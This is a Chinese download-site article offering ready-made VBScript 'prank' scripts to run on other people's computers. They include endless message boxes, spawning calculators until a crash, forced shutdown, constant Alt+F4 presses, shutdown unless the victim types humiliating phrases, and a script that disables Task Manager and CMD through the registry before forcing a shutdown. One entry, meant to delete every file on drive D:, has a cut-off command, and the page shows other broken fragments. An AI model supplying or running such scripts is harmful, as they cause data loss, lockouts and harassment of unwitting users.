vbs整人代碼怎么用? vbs容易的整人代碼
發布時間:2022-07-02 文章來源:xp下載站 瀏覽:
|
軟件是一系列按照特定順序組織的計算機數據和指令的集合。一般來講軟件被劃分為編程語言、系統軟件、應用軟件和介于這兩者之間的中間件。硬件是“計算機硬件”的簡稱。與“軟件”相對,電子計算機系統中所有實體部件和設備的統稱。 vbs整人代碼怎么用? vbs簡單的整人代碼 VBS是是：Microsoft Visual Basic Script Edition。（微軟公司可視化BASIC腳本版），在平時我們可以利用VBS做很多事情，當然了要熟悉VBS代碼自己制作還是挺難的，不過對于使用現成的VBS代碼制作VBS文件還是很簡單的，很多朋友想要一些VBS整人代碼，下面小編就整理了一些。
do msgbox “www.ghost123.com ” loop 三、打開無數個計算器，直到死機 （把calc改成別的程序也可以） set wsh=createobject("wscript.shell") do wsh.run "calc" loop
dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "shutdown -f -s -t 00",0 ,true 五、刪除D:\所有文件 （強烈建議不要用，刪除重要文件無法恢復可能會負法律責任） dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd /c ""
while(1) msgbox "哈哈 你被耍了！" loop 七、不斷按下alt+f4 （打開什么就關閉什么……） dim WSHshell set WSHshell = wscript.createobject("wscript.shell") while(1) WSHshell.SendKeys "%{F4}" loop 八、按500次回車 (以上代碼在運行者的電腦上顯示500個對話框。其中 do until s=500 ，500可以隨意更改) dim s do until s=500 s=s+1 msgbox "哥們，給我按500次回車吧",64 loop
WScript.Echo("嘿，謝謝你打開我哦，我等你很久拉！"&TSName) WScript.Echo("你是可愛的小朋嗎?") WScript.Echo("哈,我想你拉，這你都不知道嗎？") WScript.Echo("怎么才來，說~是不是不關心我") WScript.Echo("哼,我生氣拉，等你這么久，心都涼啦。") WScript.Echo("小強很生氣，后果很嚴重哦。") WScript.Echo("嘿嘿！你也會很慘滴哦") WScript.Echo("是不是想清除我？") WScript.Echo("那你要點上50下哦，不過會給你驚喜滴") WScript.Echo("還剩49下，快點點哦") WScript.Echo("還剩48下，快點，小笨蛋！") WScript.Echo("還剩47下對，就這樣快點點！") WScript.Echo("還剩46下。你啊就是笨，要快哦，我先不打擾你工作。") WScript.Echo("還剩45下，記得要快哦！") WScript.Echo("還剩43下") WScript.Echo("還剩42下") WScript.Echo("還剩41下") WScript.Echo("還剩40下") WScript.Echo("還剩39下") WScript.Echo("還剩38下") WScript.Echo("還剩37下") WScript.Echo("還剩36下") WScript.Echo("還剩35下") WScript.Echo("還剩34下") WScript.Echo("還剩33下") WScript.Echo("還剩32下") WScript.Echo("還剩30下") WScript.Echo("還剩29下") WScript.Echo("還剩28下") WScript.Echo("還剩27下") WScript.Echo("還剩26下") WScript.Echo("還剩25下") WScript.Echo("還剩24下") WScript.Echo("還剩23下") WScript.Echo("還剩22下") WScript.Echo("還剩21下") WScript.Echo("還剩20下") WScript.Echo("還剩19下") WScript.Echo("還剩18下") WScript.Echo("還剩17下") WScript.Echo("還剩16下") WScript.Echo("還剩15下") WScript.Echo("還剩14下") WScript.Echo("還剩13下停停！！！慢點，我有話要說") WScript.Echo("還剩12下，你繼續點我就會消失滴") WScript.Echo("還剩11下，以后就看不到我拉。555555") WScript.Echo("還剩10下，你現在可以選擇停止！") WScript.Echo("還剩9下。你還點啊，不要我拉？") WScript.Echo("還剩8下，有點傷心拉，干嘛丟棄人家") WScript.Echo("還剩7下。瘋了，你有點負意！") WScript.Echo("還剩6下。對。你就點吧，我恨你！") WScript.Echo("還剩5下，不明白，刪除我你就好嗎？") WScript.Echo("還剩4下！真要刪除我？") WScript.Echo("還剩3下。可是我真的很眷戀你。。。") WScript.Echo("還剩2下。不要這么絕情嘛，人家是愛你的！") WScript.Echo("還剩1下。哼，既然你這么絕情。也別怪我無義！！！") WScript.Echo("我本因該消失的，不過我留戀你滴芳容，上帝又給了一次機會。") WScript.Echo("想結素我么?那你就再多點一次") WScript.Echo("想結素我么?那你就再多點一次") WScript.Echo("想結素我么?那你就再多點一次") WScript.Echo("想結素我么?那你就再多點一次") WScript.Echo("想結素我么?那你就再多點一次") WScript.Echo("想結素我么?那你就再多點一次") WScript.Echo("想結素我么?那你就再多點一次") WScript.Echo("想結素我么?那你就再多點一次") WScript.Echo("想結素我么?那你就再多點一次") WScript.Echo("想結素我么?那你就再多點一次") 十、輸入指定文字解除，否則關機 on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""說我是豬，不說我是豬就一分鐘關機，不信，試下···"" ",0 ,true dim a do while(a <> "我是豬") a = inputbox ("說我是豬,就不關機，快撒，說 ""我是豬"" ","說不說","",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"
十一、還是需要輸入我是豬，不然關機 set ws=createobject("wscript.shell") call shutdown(1) do while a<>"我是豬" a=inputbox("快在下面的框框里輸入我是豬,否則后果自負，快輸""我是豬"" ","輸不輸","") loop call shutdown(2) msgbox "早說就行了嘛",4096+64 msgbox"再輸一遍我是豬!",4096+64 msgbox"我是豬!",4096+64 MsgBox"最后一次!",4096+64 MsgBox"如果你很快的點過去,不看的話",4096+64 MsgBox"我就要你踩我空間的!哼!",4096+64 MsgBox"從前有座山!",4096+64 MsgBox"山里有個廟.",4096+64 MsgBox"廟里有個老和尚在講故事.",4096+64 ws.run"iexplore.exe http://www.winwin7.com" msgbox"哎呀累了！數綿羊哄我睡覺",4096+64 for i=1 to 100 MsgBox i&"只綿羊",4096+64 next msgbox"哎呀我困了，這次就饒過你吧，下次注意哦!",4096+64 msgbox"最后問個問題，我是不是大好人！",4096+64 if inputbox("是不是","請選擇","是")<>"是" then call shutdown(1) end if sub shutdown(s) select case s case 1 ws.run"cmd.exe /c shutdown -r -t 60 -c",0 case 2 ws.run"cmd.exe /c shutdown -a",0 end select end sub
如果別人不輸我是豬的話就會一直點下去 點到你設定的數字 for i=1 to 100 從1到100 可以改成 20 其他的數字 解除這個VBS腳本的辦法就簡單了 只是關掉任務管理器里Wscript.exe 復制代碼 代碼如下: set s=createobject("wscript.shell") set bag=getobject("winmgmts:\\.\root\cimv2") set pipe=bag.execquery("select * from win32_process where name='wscript.exe'") For Each id in pipe if instr(1,id.commandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD" s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD" id.terminate() else s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD" s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD" for i=1 to 60 s.popup"系統將在"& 60-i &"秒后關機...",1,"系統提示",4096+48 next Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem") For Each eOs In colOS eOs.Win32Shutdown(2) Next end if Next
1：開機就強制自動關機 2：cmd命令打不開 3：結束任務不管用 4：F8安全模式也不管用 呵呵！聽起來是不是有點恐怖啊，我在我朋友空間里看見也嚇了一跳、 代碼破解方法：就是再運行一次，就可以破解了，也就是第2次保存的那個VBE文件，， PS：不要亂拿軟件去整人，發生什么事可不要怪我啊。。 on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""說你是傻B，我是天下第一大傻B不說寶寶，我是天下第一大傻B就一分鐘關你機，不信，試試···"" ",0 ,true dim a do while(a <> "寶寶，我是天下第一大傻B") a = inputbox ("寶寶，我是天下第一大傻B,就不關機，快撒，說 ""寶寶，我是天下第一大傻B"" ","說不說","不說",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛，乖乖" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "寶寶是不是又帥啦？？"
以上就是這次小編給大家分享的VBS整人代碼大全了，還是老話 ，有危害的輕易不要使用。
硬件是實在的，有模有樣的。軟件是程序性的。是一系列的指令。有了軟件，硬件才會實現更豐富的功能。 |
